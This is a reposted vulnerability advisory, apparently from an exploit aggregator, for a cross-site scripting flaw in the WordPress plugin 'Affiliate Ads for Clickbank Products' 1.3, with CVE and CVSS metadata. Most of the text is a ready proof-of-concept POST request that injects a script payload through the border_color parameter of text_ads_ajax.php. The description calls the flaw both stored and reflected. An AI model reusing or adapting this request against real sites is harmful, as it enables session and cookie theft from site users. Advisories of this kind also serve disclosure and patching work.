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WordPress Affiliate Ads For Clickbank Products 1.3 XSS

CVE Category Price Severity
CVE-2021-300260 CWE-79 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2017-11-15
CPE
cpe:cpe:/a:wordpress:wordpress:affilate_ads_for_clickbank_products:1.3
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N 0.9103 0.96834

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017110081

Below is a copy:

WordPress Affiliate Ads For Clickbank Products 1.3 XSS
Class Input Validation Error
Remote  Yes

Credit Ricardo Sanchez
Vulnerable Affiliate Ads for Clickbank Products Plugin 1.3

Affiliate Ads for Clickbank Products Plugin is prone to a stored cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the values are not filter correctly:


Demo Request POST:

POST /wordpress/wp-content/plugins/affiliate-ads-builder-for-
clickbank-products/text_ads_ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.9
Cookie:
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 227

show_product_descr=1&show_read_more_btn=1&default_font_
family=1&fill_color=1&border_color="><script>alert("XSS")</
script>&link_color=2&kws=1&cols=1&rows=1&ref=1&descr_
color=1&height_adjustmen=1&hide_footer=2&height_adjustment=1

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